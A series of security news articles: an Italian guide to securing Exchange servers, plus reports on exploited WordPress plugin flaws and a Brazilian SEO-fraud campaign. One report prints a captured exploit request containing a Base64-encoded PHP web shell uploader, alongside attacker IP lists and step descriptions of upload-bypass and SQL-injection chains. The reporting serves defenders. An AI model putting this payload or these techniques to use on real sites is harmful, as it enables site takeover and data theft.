La diffusione delle email e dei server di posta elettronica sono funzionali alla comprensione della multidisciplinarietà della cyber security. Va preso in considerazione che la sicurezza di un server Exchange non è garantita da un solo prodotto o servizio e per quanto più tecnologie possano essere usate in sinergia, avranno un effetto ridotto se il server è obsoleto o amministrato senza una strategia coerente. Questo assunto vale per qualsiasi dispositivo o software di un’infrastruttura ICT. Un server Exchange installato nell’infrastruttura aziendale (on-premise) permette agli utenti di consultare la posta e dialoga con Active Directory, il sistema che gestisce identità e autorizzazioni nella rete Windows. Può quindi essere contemporaneamente un archivio di informazioni sensibili, un servizio esposto all’esterno e un punto di accesso ai sistemi interni, anche se il traffico proveniente da internet può essere instradato attraverso un gateway o un Edge Transport Server. Indice degli argomenti Un server Exchange on-premise, cioè installato e gestito direttamente dall’organizzazione, è bersaglio prezioso. Una vulnerabilità nell’interfaccia web, nei servizi di autenticazione o nei componenti che elaborano le richieste può consentire di leggere le caselle, sottrarre credenziali, installare una web shell – una porta di accesso nascosta nel server – oppure muoversi verso altre macchine della rete, il cosiddetto movimento laterale. Il problema non è soltanto teorico. Nel 2021 le vulnerabilità note come ProxyLogon hanno permesso di colpire migliaia di organizzazioni. A posteriori è stato ricostruito che gli aggressori hanno potuto accedere ai server locali, leggere le caselle e installare strumenti utili a mantenere nel tempo il controllo dell’infrastruttura. Altre vulnerabilità sono state indicate con i nomi ProxyShell e ProxyToken. ProxyShell era una catena di tre vulnerabilità che poteva portare all’esecuzione remota di codice e all’installazione di web shell. ProxyToken consentiva invece ad attaccanti non autenticati di aggirare alcuni controlli di autenticazione e ottenere accesso a funzionalità amministrative del server. Il dato più significativo arriva dal Data Breach Investigations Report 2026 di Verizon, report secondo il quale lo sfruttamento delle vulnerabilità software è all’origine del 31% delle violazioni prese in esame. La posta elettronica viene spesso trattata come uno strumento di comunicazione, ma nelle organizzazioni svolge almeno tre funzioni più profonde. È una memoria informale nella quale rimangono decisioni, contratti, pareri, fatture e negoziazioni. È un sistema di identità, perché molti servizi affidano proprio all’email il recupero delle password e la conferma delle operazioni. È, infine, una rete di fiducia, perché un messaggio proveniente da una casella conosciuta viene normalmente considerato più credibile di una comunicazione arrivata da uno sconosciuto. Questo al netto delle campagne di phishing che, però, sono discorso parallelo. Compromettere una mailbox va oltre l’entrare in possesso di documenti, è il contesto necessario per imitarne il legittimo proprietario. L’aggressore può ricostruire rapporti gerarchici, fornitori, abitudini linguistiche, scadenze e flussi di pagamento. Può attendere il momento più opportuno, inserirsi in una conversazione reale e chiedere di modificare un conto corrente o aprire un allegato apparentemente coerente con il lavoro in corso. Queste frodi, chiamate Business Email Compromise (BEC) hanno comportato un’esposizione economica dichiarata di circa 55,5 miliardi di dollari (48,15 miliardi di euro circa) nel periodo tra ottobre 2013 e dicembre 2023, come sottolinea il Federal Bureau of Investigation. (FBI) La fragilità dell’email nasce da un paradosso. L’attendibilità di un mittente dipende dalla fiducia accumulata nel tempo, ma la stessa fiducia può trasformarsi in un’arma quando la casella, il dominio o il server vengono compromessi. La sicurezza di Exchange non protegge soltanto i messaggi. Protegge la possibilità di attribuire una comunicazione alla persona che l’ha effettivamente inviata e, quindi, di continuare a fidarsi delle relazioni digitali su cui si basa il lavoro quotidiano. Nel 2026 non si può affrontare la sicurezza di Exchange ignorandone il ciclo di vita. Exchange Server 2016 e 2019 hanno raggiunto la fine del supporto il 14 ottobre 2025. Microsoft distribuisce ancora determinati aggiornamenti di sicurezza alle organizzazioni ammesse al programma Extended Security Update, ma si tratta di una soluzione transitoria. La versione on-premise corrente è Exchange Server Subscription Edition, pubblicata il primo luglio 2025 e gestita attraverso il Modern Lifecycle: per rimanere supportato, il sistema deve essere mantenuto costantemente aggiornato. Il 14 luglio 2026 Microsoft ha pubblicato nuovi aggiornamenti di sicurezza per Exchange, distinguendo Exchange Server Subscription Edition dalle vecchie versioni 2016 e 2019 coperte soltanto dal programma di aggiornamenti estesi. Non è un dettaglio di poco conto, perché un reverse proxy può filtrare alcune richieste, uno scanner può segnalare una vulnerabilità e un sistema Endpoint Detection and Response (EDR) può riconoscere un comportamento anomalo, ma nessuno di questi strumenti può correggere definitivamente il codice vulnerabile di un prodotto abbandonato. La guida congiunta pubblicata nel 2025 da NSA, CISA, FBI e altre agenzie internazionali raccomanda di mantenere aggiornati i sistemi supportati e di migrare da qualsiasi versione non più supportata a Exchange Server Subscription Edition o a un altro servizio di posta ancora mantenuto. Mettere in sicurezza Exchange non significa soltanto bloccare le richieste malevole, significa anzitutto diminuire il numero di componenti che possono essere interrogati dall’esterno. La porta 443, utilizzata dal traffico web cifrato, è necessaria per Outlook sul web e per diversi protocolli di accesso remoto. La porta 25 serve invece al trasporto dei messaggi mediante SMTP, il protocollo che instrada la posta tra i server. Non tutto ciò che funziona attraverso queste porte deve però essere pubblicamente disponibile. L’Exchange Admin Center, la console web di amministrazione, e PowerShell remoto non dovrebbero essere raggiungibili indiscriminatamente da internet. Microsoft documenta sia la possibilità di disabilitare l’accesso esterno alla console amministrativa, sia l’impiego delle Client Access Rules per limitare le connessioni in base all’indirizzo IP, al protocollo e al tipo di autenticazione. Un reverse proxy inserito tra internet ed Exchange può terminare la connessione esterna, verificare la richiesta e aprirne una nuova verso il server interno. Se dotato delle relative funzioni, può inoltre applicare autenticazione preventiva, limitazioni di frequenza, controlli geografici e regole di un Web Application Firewall, progettato per riconoscere richieste web anomale. Non è però una barriera assoluta. Deve essere configurato per lasciare passare soltanto i percorsi realmente necessari e deve essere aggiornato come qualsiasi altro apparato esposto a internet. Occorre anche verificare la compatibilità con Extended Protection, la funzione di Windows che lega l’autenticazione alla connessione cifrata per ostacolare gli attacchi di inoltro delle credenziali. La documentazione Microsoft avverte che il TLS offloading non è compatibile con Extended Protection e che il TLS bridging è supportato soltanto a precise condizioni, fra cui l’impiego dello stesso certificato sul proxy o bilanciatore e sul server Exchange. Un proxy installato senza comprenderne gli effetti può interrompere Extended Protection anziché rafforzarla. Un reverse proxy protegge principalmente le connessioni web. Non esamina necessariamente il contenuto della posta che arriva tramite SMTP. Per separare il filtraggio dei messaggi dal Mailbox Server si può utilizzare un email security gateway collocato davanti a Exchange, un servizio cloud di protezione della posta oppure un Edge Transport Server opportunamente configurato. Il gateway riceve i messaggi destinati al dominio, verifica mittente, allegati, collegamenti e reputazione degli indirizzi, poi consegna a Exchange soltanto ciò che supera i controlli. Può sottoporre i file sospetti a una sandbox, un ambiente isolato nel quale osservarne il comportamento, e riscrivere i collegamenti per verificarli anche quando l’utente prova ad aprirli. Il gateway deve lavorare insieme ai meccanismi di autenticazione del dominio. SPF specifica quali server sono autorizzati a inviare posta per conto di un dominio. DKIM applica ai messaggi una firma crittografica e DMARC verifica che almeno uno tra SPF e DKIM superi il controllo con un dominio allineato al mittente visibile e pubblica una politica che indica ai destinatari come trattare le comunicazioni che falliscono la verifica e permette di ricevere rapporti sugli abusi. Queste tecnologie non impediscono che una casella autentica venga violata, ma riducono la possibilità di falsificare il dominio dall’esterno. La difesa del server e la verifica dei messaggi rispondono a minacce diverse e nessuna può sostituire l’altra. La lezione più importante di ProxyLogon è che installare una patch e rimuovere un’intrusione sono due operazioni differenti. La patch chiude la vulnerabilità, ma non cancella automaticamente web shell, account creati dall’aggressore, regole di inoltro, processi pianificati o malware installati prima dell’aggiornamento. Il patching da solo ha dei limiti, se il server è rimasto esposto durante una campagna attiva, è imperativo cercare indicatori di compromissione, controllare le modifiche amministrative, verificare i file nelle directory web e ricostruire le connessioni avvenute nel periodo a rischio. Lo script PowerShell ufficiale Microsoft Exchange Health Checker consente di inventariare le installazioni, controllare aggiornamenti cumulativi e di sicurezza, configurazione TLS, Extended Protection e altre impostazioni rilevanti. È uno strumento diagnostico utile ma non è un sistema di rilevamento delle intrusioni. L’identità amministrativa non deve coincidere con la posta Exchange dipende strettamente da Active Directory. Per questa ragione un amministratore che utilizza lo stesso account privilegiato per leggere la posta, navigare e gestire il server concentra rischi diversi in una sola identità. Gli account amministrativi devono essere separati da quelli utilizzati nel lavoro quotidiano e autorizzati secondo il principio del privilegio minimo. Exchange offre un sistema di controllo basato sui ruoli, chiamato Role-Based Access Control, che consente di assegnare soltanto le operazioni necessarie. Gli accessi più delicati dovrebbero inoltre partire da workstation amministrative dedicate o da un jump server controllato e non da un qualsiasi computer aziendale. Dove l’architettura lo permette, l’accesso remoto deve richiedere un secondo fattore resistente al phishing, preferibilmente una chiave hardware o una passkey. L’autenticazione a più fattori non risolve una vulnerabilità del server, limitandosi a ridurre la possibilità che una password rubata diventi automaticamente un accesso valido. Un sistema EDR osserva ciò che avviene nel sistema operativo. Può rilevare la creazione di una web shell, l’avvio anomalo di PowerShell, l’accesso ai processi che conservano credenziali, il caricamento di file eseguibili e i tentativi di collegarsi ad altre macchine. Microsoft Defender include una regola di riduzione della superficie di attacco specificamente destinata a bloccare la creazione di web shell sui server Exchange. La protezione deve tuttavia essere configurata seguendo le esclusioni antivirus indicate per Exchange, poiché una scansione indiscriminata di database e processi critici può compromettere prestazioni e stabilità, mentre esclusioni troppo ampie creano zone nelle quali il malware può nascondersi. I log di Exchange, Internet Information Services, Windows, Active Directory, proxy, gateway ed EDR devono confluire in un sistema centrale di analisi, normalmente un SIEM, Security Information and Event Management. Conservare le sole registrazioni locali significa lasciare all’aggressore la possibilità di cancellarle insieme alle proprie tracce. Prevenzione e capacità di recupero rispondono a fasi diverse della sicurezza. Un’organizzazione deve potere ricostruire Exchange, recuperare le caselle e riprendere il servizio senza dipendere dalla macchina compromessa. I backup devono quindi essere separati dal dominio amministrativo ordinario, protetti da credenziali differenti e, quando possibile, resi immutabili per un periodo prestabilito. Devono essere verificate la possibilità di recuperare un database e quelle di ripristinare configurazione, certificati, connettori e dipendenze da Active Directory. Un backup mai sottoposto a una prova di recupero deve essere considerato come una speranza vana. La guida CISA contro il ransomware raccomanda copie frequenti, isolate o protette nel cloud, insieme alla centralizzazione dei log e alla preparazione delle procedure di risposta. Per Exchange questa pianificazione è importante: un ripristino tecnicamente riuscito ma privo delle informazioni necessarie a ricostruire la compromissione può riportare in produzione anche il problema che si voleva eliminare. Il mercato offre una quantità di tool per la protezione dei server di posta elettronica. Ne abbiamo scelti cinque che, per costi, garanzie offerte e praticità d’uso andrebbero prese in considerazione con il supporto di personale competente e di fornitori specchiati. Web Application Proxy è un ruolo di Windows Server che permette di pubblicare applicazioni interne senza esporre direttamente il server che le ospita. Microsoft fornisce una procedura specifica per la pubblicazione di Exchange e, per Outlook sul web in determinate configurazioni, consente di utilizzare Active Directory Federation Services per autenticare l’utente prima che la richiesta raggiunga l’applicazione. Altri servizi, tra cui Exchange Control Panel, Outlook Anywhere, Exchange Web Services e Autodiscover, prevedono invece nella documentazione citata la modalità pass-through. Web Application Proxy è utile per Outlook sul web e per gli altri servizi compatibili, ma non sostituisce il gateway SMTP, non corregge Exchange e deve essere progettato tenendo conto di certificati, protocolli e Extended Protection. Proofpoint Email Protection è un secure mail gateway che filtra i messaggi prima della consegna a Exchange. Analizza spam, phishing, malware, collegamenti, allegati e tentativi di BEC. Può essere collocato nel percorso della posta in entrata e in uscita, impedendo che Exchange riceva direttamente tutto il traffico SMTP proveniente da internet. Le funzionalità effettivamente disponibili dipendono dalla licenza e dalla configurazione. Le percentuali di rilevamento dichiarate nella documentazione commerciale di Proofpoint sono affermazioni del produttore, non garanzie applicabili indistintamente a ogni ambiente. Nessus permette di individuare versioni vulnerabili, aggiornamenti mancanti, servizi esposti e configurazioni deboli. Tenable mantiene controlli specifici per Exchange, compresi plugin capaci di riconoscere dall’esterno la presenza del servizio e plugin dedicati ai singoli aggiornamenti, come quello relativo alle vulnerabilità corrette nell’agosto 2025. Le scansioni autenticate offrono normalmente una visibilità maggiore, ma devono essere eseguite con account dedicati e privilegi controllati. Inoltre, alcuni plugin si limitano a confrontare la versione dichiarata dal sistema e non verificano realmente lo sfruttamento della falla. Questo rimanda alla necessità di interpretare il risultato e non limitarsi a condividerlo con i vertici aziendali. L’Exchange Emergency Mitigation Service viene installato automaticamente sui server con ruolo Mailbox a partire dagli aggiornamenti cumulativi di settembre 2021 per Exchange 2016 e 2019, ma non sugli Edge Transport Server. Controlla ogni ora il servizio cloud di Microsoft, scarica un file XML firmato, ne verifica l’integrità e può applicare regole di riscrittura degli indirizzi, disabilitare un servizio vulnerabile o fermare un application pool di Internet Information Services. Come abbiamo spiegato serve a ridurre rapidamente il rischio quando Microsoft conosce una minaccia e dispone già di una contromisura. Non è un sistema autonomo di hardening e, soprattutto, non sostituisce gli aggiornamenti di sicurezza. Microsoft Defender for Endpoint aggiunge rilevamento comportamentale, raccolta degli eventi, investigazione e risposta sul server. Può segnalare processi insoliti, attività di rete sospette, strumenti usati per sottrarre credenziali e comportamenti compatibili con una web shell. Le funzioni di live response permettono agli operatori autorizzati di raccogliere file e informazioni dalla macchina durante un’indagine. Non protegge però i messaggi come farebbe un gateway e non deve essere confuso con il solo antivirus, il suo valore nasce dalla correlazione dei comportamenti e dalla capacità di ricostruire la sequenza dell’attacco. I cinque componenti che abbiamo proposto coprono punti differenti. Web Application Proxy controlla l’accesso web, Proofpoint filtra la posta, Nessus individua esposizioni note, Emergency Mitigation applica contromisure provvisorie e Defender osserva il comportamento del server. La loro sovrapposizione costituisce una difesa stratificata, ma lascia aperte le questioni organizzative. Non stabilisce (né può farlo) chi controlla gli aggiornamenti, entro quanto tempo vengono installati, chi analizza gli avvisi, quali accessi amministrativi sono consentiti e come viene verificato un possibile incidente. Una vulnerabilità di Exchange non nasce il giorno in cui diventa nota. La qualità della gestione determina invece quanto a lungo e con quale esposizione la debolezza rimane sfruttabile: il rischio aumenta quando l’organizzazione non sa con precisione quale versione sta eseguendo, quali servizi espone, chi può amministrarlo e che cosa dovrebbe accadere se smettesse improvvisamente di funzionare. Gli strumenti possono rispondere a molte domande tecniche. Non possono sostituire le responsabilità.
cybersecurity360.itSep 4, 2026extracted
Over 440,000 Exploit Attempts Target Super Forms and Elementor Pro RCE Flaws
Threat actors are exploiting two critical security flaws in WordPress plugins Super Forms and Elementor Pro, according to findings from Wordfence. The vulnerabilities in question are - CVE-2026-14894 (CVSS score: 9.8) - A missing file type validation vulnerability in Super Forms – Drag & Drop Form Builder that allows unauthenticated attackers to upload files of any type, including executable PHP files, leading to remote code execution. (Fixed in version 6.3.314) CVE-2026-32475 (CVSS score: 9.0/9.8) - A vulnerability in Elementor Pro that allows unauthenticated attackers to upload files of any type, including executable PHP files, leading to remote code execution. (Fixed in version 4.2.2) As with arbitrary file upload vulnerabilities of this kind, an attacker can leverage them to write a PHP web shell to the site and execute arbitrary code, which can then be abused to create administrator accounts, exfiltrate data, or seize control of the entire WordPress site. It's worth noting that details about CVE-2026-32475 were disclosed by Patchstack last month. Successful exploitation requires the target site to have at least one published Elementor page containing a Form widget with a File Upload field. In a pair of reports published this week, Wordfence said it has already blocked over 250,000 and 190,000 exploit attempts targeting CVE-2026-14894 and CVE-2026-32475, respectively. Exploitation Against CVE-2026-14894 In the attacks exploiting CVE-2026-14894, threat actors have been found to issue an HTTP POST request to "/wp-admin/admin-ajax.php" using the "super_submit_form" endpoint containing a file field with a Base64-encoded PHP payload and an attacker-controlled file name as below - action=super_submit_form&form_id=2&sf_nonce=04c3aa2046&data={"sf_upload_field": {"type": "files", "files": [{"datauristring": "data:image/gif;base64,PD9waHAgaWYoaXNzZXQoJF9GSUxFU1siZmlsZSJdKSl7JHRhcmdldD1iYXNlbmFtZSgkX0ZJTEVTWyJmaWxlIl1bIm5hbWUiXSk7aWYobW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbImZpbGUiXVsidG1wX25hbWUiXSwkdGFyZ2V0KSl7ZWNobyLinIUgVXBsb2FkZWQ6IDxhIGhyZWY9JyR0YXJnZXQnPiR0YXJnZXQ8L2E+Ijt9ZWxzZXtlY2hvIuKdjCBVcGxvYWQgZmFpbGVkISI7fWV4aXQ7fT8+PCFET0NUWVBFIGh0bWw+PGh0bWw+PGhlYWQ+PHRpdGxlPk11c2hyMDB3IFVwbG9hZGVyPC90aXRsZT48L2hlYWQ+PGJvZHkgc3R5bGU9ImJhY2tncm91bmQ6IzBhMGEwYTtjb2xvcjojMDBmZjAwO2ZvbnQtZmFtaWx5Om1vbm9zcGFjZTtkaXNwbGF5OmZsZXg7anVzdGlmeS1jb250ZW50OmNlbnRlcjthbGlnbi1pdGVtczpjZW50ZXI7aGVpZ2h0OjEwMHZoO21hcmdpbjowOyI+PGZvcm0gbWV0aG9kPSJQT1NUIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBzdHlsZT0iYmFja2dyb3VuZDojMTExO3BhZGRpbmc6NDBweDtib3JkZXI6MnB4IHNvbGlkICMwMGZmMDA7Ym9yZGVyLXJhZGl1czoxMHB4O3RleHQtYWxpZ246Y2VudGVyOyI+PGgyPvCfk6QgVVBMT0FEPC9oMj48aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgcmVxdWlyZWQgc3R5bGU9ImJhY2tncm91bmQ6IzBhMGEwYTtjb2xvcjojMDBmZjAwO2JvcmRlcjoxcHggc29saWQgIzAwZmYwMDtwYWRkaW5nOjEwcHg7Ym9yZGVyLXJhZGl1czo1cHg7Ij48YnI+PGJyPjxidXR0b24gdHlwZT0ic3VibWl0IiBzdHlsZT0iYmFja2dyb3VuZDojMDBmZjAwO2NvbG9yOiMwYTBhMGE7cGFkZGluZzoxMHB4IDMwcHg7Ym9yZGVyOm5vbmU7Ym9yZGVyLXJhZGl1czo1cHg7Zm9udC13ZWlnaHQ6Ym9sZDtjdXJzb3I6cG9pbnRlcjsiPuKshiBVcGxvYWQ8L2J1dHRvbj48L2Zvcm0+PC9ib2R5PjwvaHRtbD4=", "value": "Mushr00w_upl.php", "name": "Mushr00w_upl.php", "label": "attachment"}]}} The uploaded file, while prefixed with the "data:image/gif;base64" content type, is a PHP file-uploader web shell ("Mushr00w_upl.php"), which then acts as a conduit to upload additional payloads to the site. Attacks weaponizing the Super Forms plugin have originated from the following IP addresses - 103.168.147.235 103.168.146.131 103.154.152.178 103.170.97.7 182.10.130.51 189.4.122.140 129.227.46.143 64.176.209.104 103.164.182.122 37.9.33.62 The malicious activity is said to have begun on July 14, 2026, before scaling a peak of more than 40,000 exploit requests on August 18, 2026. Exploitation Against CVE-2026-32475 "The attacker submits the form's File Upload field as an array, where the first element is empty and the second element carries a PHP payload with a .php file name, which is the structure that triggers the validation bypass," the WordPress security company said. "Once written, the uploaded PHP file is placed in the '/wp-content/uploads/elementor/forms/' directory under a randomly generated filename with the attacker-supplied .php extension, and the attacker can request it directly to execute arbitrary commands on the server." Exploitation efforts targeting CVE-2026-32475 commenced on August 19, 2026, and have originated from the below IP addresses - 2602:fa59:10:7a1::1 185.196.220.85 103.84.230.85 103.90.148.202 216.126.225.208 167.254.240.75 167.254.241.119 114.10.17.253 114.10.45.151 2406:ef80:2:7d19::1 WordPress site owners using the two plugins are recommended to apply patches for the vulnerabilities with immediate effect, scan their sites for indicators of compromise, and audit for unexpected or recently modified .php files.
thehackernews.comSep 4, 2026extracted
Critical Elementor Pro flaw exploited to take over WordPress sites
A recently patched critical vulnerability (CVE-2026-32475) in the Elementor Pro plugin for WordPress is being exploited in attacks that deliver a webshell payload and execute arbitrary commands on the server. Elementor Pro is a popular WordPress plugin with more than 6 million active installations, allowing users to build websites using a drag-and-drop interface. The CVE-2026-32475 vulnerability was patched on August 19. Since then, Defiant's Wordfence web application firewall has blocked almost 200,000 exploitation attempts targeting its clients. The issue stems from faulty validation of file-upload arrays in Elementor Pro forms and is present in versions 4.2.1 and earlier. By submitting an empty file as the first array element and a malicious PHP file as the second, attackers can cause the plugin to stop validating subsequent files. The uploaded payload is stored under /wp-content/uploads/elementor/forms/ and can then be accessed to execute commands remotely. WordPress cybersecurity platform Patchstack warned last month that attackers could exploit it to upload arbitrary PHP files and trigger PHP code execution on the server. Exploitation is only possible when a site has a published Elementor Pro Form widget containing at least one File Upload field, a common configuration. Yesterday, Wordfence alerted that activity exploiting CVE-2026-32475 started on August 19, the same day Elementor released version 4.2.2 that addressed the vulnerability. “The attacker submits the form’s File Upload field as an array, where the first element is empty and the second element carries a PHP payload with a .php filename, which is the structure that triggers the validation bypass,” Wordfence says. “Once written, the uploaded PHP file is placed in the /wp-content/uploads/elementor/forms/ directory under a randomly generated filename with the attacker-supplied .php extension, and the attacker can request it directly to execute arbitrary commands on the server,” the security firm notes. Wordfence observed increased attack activity between August 19 and 23, reporting more than190,000 blocked exploitation attempts. A list of IP addresses that launched thousands of attacks is also provided so that defenders can add them to their blocklists. Administrators should upgrade to Elementor Pro 4.2.2 or later immediately and inspect the /wp-content/uploads/elementor/forms/ directory for rogue PHP files. Since this location is used to store uploaded form submissions, the presence of a PHP file is a strong indicator of compromise that should trigger clean-up operations. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comSep 3, 2026extracted
AI Agent Firewall Startup AIR Security Emerges From Stealth With $50 Million
If AI agents are the new operating system, then AI add-ons are the new applications; and a new type of AI firewall is required to maintain security. AIR Security is emerging from stealth with $50 million funding and a firewall, also called AIR, built for AI agents. The funding is led by Sequoia Capital and Greenoaks together with a range of prominent individual industry angels. This follows AIR Security’s research that found more than 17,800 public AI add-ons (representing 6.7M installations) relying on untrusted external instruction sources. The firm also discovered AI Skills in the wild impersonating companies like Anthropic and OpenAI and designed to bypass security reviews and execute arbitrary code. AI agents are increasingly connecting to more tools, data and third-party services; browsing websites, accessing files and emails and acting on behalf of employees. Their growing autonomy is problematic when influenced and directed by adversaries through poisoned content or direct compromise. This opens a path to data theft, fraud, or unauthorized access while providing little visibility to the security team. AIR describes AI agents as the new operating system, with AI add-ons the new applications. “We’re entering a new era where using AI agents will become as elementary to knowledge work as reading, writing, and using Excel. Agents will become a fundamental part of how enterprises build, operate, and make decisions – unlocking entirely new levels of speed, productivity, and what’s possible,” says AIR. Of particular concern is the new and increasing output from coding agents: Claude Code, Cursor, Codex, and everything around them. Enterprises have started adopting these tools at an unprecedented pace. But they’re also afraid to deploy them without a seatbelt – and rightfully so, suggests AIR. “Every enterprise has a firewall protecting its network. Now they need one protecting their AI agents. AI agents need a new kind of firewall – one that protects what enters their context,” says Yair Saban, co-founder and CEO of AIR. “Today, agents are autonomously installing tools, connecting to internal systems, and making decisions – and in most organizations, nobody knows what’s running, what’s trusted, or how to shut it off.” Saban (CEO) partnered with Niv Hoffman (CTO) to found AIR in order to provide such an AI-specific firewall. They were joined by Ryan Knisley, former CISO at The Walt Disney Company and Costco Wholesale, as chief strategy officer. The firewall discovers and evaluates every skill, plugin, MCP server, and add-on across an organization’s AI agent supply chain, both before and after deployment. Before any third-party or internal add-on is allowed to touch an enterprise agent, AIR performs deep analysis across known agentic attack patterns. It screens for external instruction sources, hidden behaviors, and typo-squatted packages masquerading as official developer tools. If an add-on is malicious, vulnerable or not approved, security teams can trace every agent and workflow that depends on it — and revoke it across the organization. This process is continuous. If a maintainer pushes a malicious update or an existing integration is compromised later, trust is automatically revoked. “Like a black box, AI Add-ons reveal less than they hide. Some stay the same. Some evolve. Others hide external instructions, excessive actions, sensitive data access, or vulnerable supply chains,” says AIR. Through its continuous evaluation of agentic activity across many customers, AIR also offers a marketplace of pre-vetted, certified add-ons, providing a safe route to expand agent capabilities without introducing unmanaged risk, for all its customers. Related: OpenLeash Adds a Human Check to Risky AI Agent Actions Related: UK Government Rolls Out Agentic AI Defense Plan Alongside Industry Pledge Related: Critical Vulnerability Exposes GitHub Agentic Workflows to Prompt Injection Related: Agentic AI Security: Wrong Context, Wrong Decisions at Machine Speed
securityweek.comSep 3, 2026extracted
Over 3 Million WordPress Sites Affected by Migration Plugin Vulnerability
A high-severity vulnerability in the All-in-One WP Migration and Backup WordPress plugin exposes over 3 million websites to remote code execution (RCE) attacks, WordPress security firm Defiant warns. Tracked as CVE-2026-19949 (CVSS score of 8.8), the security defect is described as a second-order SQL injection issue in the archive restore functionality of the plugin. The flaw exists because user-supplied input is insufficiently escaped and existing SQL queries are not sufficiently prepared, Defiant explains. An attacker could supply malicious content via WordPress core’s trackback functionality to extract the secret key used during an archive restore operation, and then use the key to deploy a malicious plugin for RCE. All-in-One WP Migration and Backup packages sites into .wpress archives and allows admins to restore the archive on any destination server. The import operation is unauthenticated, but protected using a secret key that is saved during each database-restore pass. CVE-2026-19949 allows an attacker to submit two trackbacks to a public post, each carrying a trailing backslash and a URL leading to a payload. The input is saved without backslashes being stripped or the URLs being rejected. Once an administrator archives and then imports the site, the plugin rewrites URLs and table prefixes in the stored SQL; the attacker-supplied input is promoted to executable SQL, which results in the secret key value being written to a comment that is approved and becomes publicly visible. An unauthenticated attacker could then retrieve the secret key from the site’s comments REST API endpoint and use it to import a crafted .wpress archive containing a malicious must-use plugin that is executed upon the next page load, leading to RCE. “As with all remote code execution vulnerabilities, this can lead to complete site compromise through the use of webshells and other techniques,” Defiant notes. The vulnerability impacts all All-in-One WP Migration and Backup versions up to 7.109 and was patched in version 7.110, which was released on August 20. A highly popular backup and restore WordPress tool, the plugin has over 5 million active deployments. As of September 3, only 35% of all installations have been updated to version 7.110, meaning that roughly 3.2 million sites are running a vulnerable plugin iteration, WordPress data shows. Related: WordPress Websites Targeted via MiniOrange Plugin Vulnerabilities Related: Silent Patches Don’t Stop Attackers – They Blind Defenders Related: In Other News: Log4j RCE Scare, Minimus Shutdown, Iranian Hacker Sanctions Related: ServiceNow Patches 3 Critical Code Injection Vulnerabilitie
securityweek.comSep 3, 2026extracted
WordPress backup plugin flaw exposes millions of sites to takeover attacks
An SQL injection vulnerability in the All-in-One WP Migration and Backup plugin for WordPress could allow unauthenticated attackers to execute remote code and take control of affected websites. The plugin is used to back up, export, import, and move entire websites, including their databases, media, themes, and plugins, between servers or domains. The security flaw is tracked as CVE-2026-19949 and received a high-severity score. It was discovered by security researcher Jack Taylor, who reported it in mid-August through Defiant's cybersecurity branch, Wordfence. In a report yesterday, Wordfence researchers say that CVE-2026-19949 is a second-order SQL injection vulnerability that impacts All-in-One WP Migration and Backup versions throuhg 7.109. The issue consists of incorrect parsing of escaped backslashes and quotation marks while the plugin rewrites database content during archive restoration. An unauthenticated attacker could plant crafted data through WordPress trackbacks, which would execute when an administrator exports and imports the site, both common operations for the plugin. The injected SQL can expose the plugin’s secret import key (ai1wm_secret_key) through a public comment, allowing the attacker to obtain it and import a malicious ‘.wpress’ archive containing executable code. Wordfence mentions that code execution at this privilege level may lead to taking complete control of the target website. According to statistics from WordPress.org, All-in-One WP Migration and Backup has more than five million active installations. Since the vendor fixed the issue, only approximately 35% of the plugin’s user base has updated to the latest version, with the remaining 3.25 million sites running a vulnerable release of All-in-One WP Migration and Backup. Exploit triggered by admin action The payload that triggers the exploit remains dormant until the administrator restores a backup archive, an action that causes the processing of SQL string boundaries to execute the stored data as SQL. While this prerequisite lessens the immediate risk of exploitation, Wordfence notes that, given the plugin’s role, it is to be expected that admins perform the action at some point. “Since backup and restore is the core purpose of this plugin, this is a routine action, but the injected SQL will not execute until it takes place,” Wordfence notes. The researchers explain that a deactivated vulnerable version of the plugin poses less risk, but it can still be exploited if temporarily activated. Wordfence disclosed the issue to the developers of the All-in-One WP Migration and Backup plugin, ServMask, on August 15, after validating Taylor’s finding. On August 20, ServMask addressed the CVE-2026-19949 vulnerability in version 7.110 of the plugin. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comSep 2, 2026extracted
Gambling Goblin Turns Brazilian Government Sites Into SEO Weapons
A Chinese-speaking cybercrime cluster has turned compromised Brazilian government and education websites into infrastructure for a sustained SEO fraud campaign operating since mid-2025. Check Point Research (CPR) dubbed the group Gambling Goblin and assessed with medium-to-high confidence that it is connected to Earth Berberoka, a Chinese-speaking cluster documented by Trend Micro in 2022 as targeting gambling platforms serving Chinese-speaking users. The research, published on September 2, said the overlaps covered tooling, operator artifacts and infrastructure, including the use of oRAT, Chinese-language strings and domains resembling trusted technology brands. CPR described the campaign as a shift from Brazil's home-grown banking trojans to a foreign operator, drawn by one of the world's fastest-growing online betting markets. Malicious Apache Modules Turn Trusted Sites into Proxies The attackers installed custom Apache modules that acted as a reverse proxy, quietly routing selected visitors from compromised sites to attacker-controlled phishing pages. CPR said the modules targeted specific URL paths and could strip existing Content-Security-Policy headers, replacing them with permissive settings that allowed external and dynamically generated scripts to run. An installer compiled each module on the victim server, then deleted the source and timestomped the resulting file to match legitimate Apache modules. The phishing pages impersonated destinations including Google Play, the Microsoft Store and Amazon. They were localized for Brazilian users and promoted online gambling and sports betting. The compromised organizations spanned federal, state and municipal government, including a ministry, a national public agency, a state legislative assembly, courts of accounts and a state-owned utility. Municipal administrations made up the largest share. The campaign also affected commercial Brazilian sites such as local news organizations, healthcare providers and business associations. A Large Linux Toolkit Supports the Operation The web-server activity sat alongside a broader Linux malware toolkit that CPR said included the DownPro downloader, backdoors including AlphaAgent and oRAT, the 3snake-based PasswordHarvester credential stealer and an SSH brute-forcer. Most were wrapped in packing and virtualization layers to slow analysis. The researchers also found a reconnaissance agent that used tools such as httpx, naabu, Nuclei and subfinder, to map internet-facing infrastructure and identify services running on potential targets. AlphaAgent supported remote command execution (RCE), file transfers, tunneling and host discovery, while oRAT provided remote administration. CPR identified an AI plugin execution path in a newer AlphaAgent build, although it said the sample did not reveal what the plugin did. The infrastructure extended beyond Brazil. CPR found phishing pages localized in Vietnamese, Spanish and English, alongside systems generating fresh domains daily. The researchers warned the setup created a potential path to direct malware distribution because the phishing infrastructure already imitated legitimate app stores. 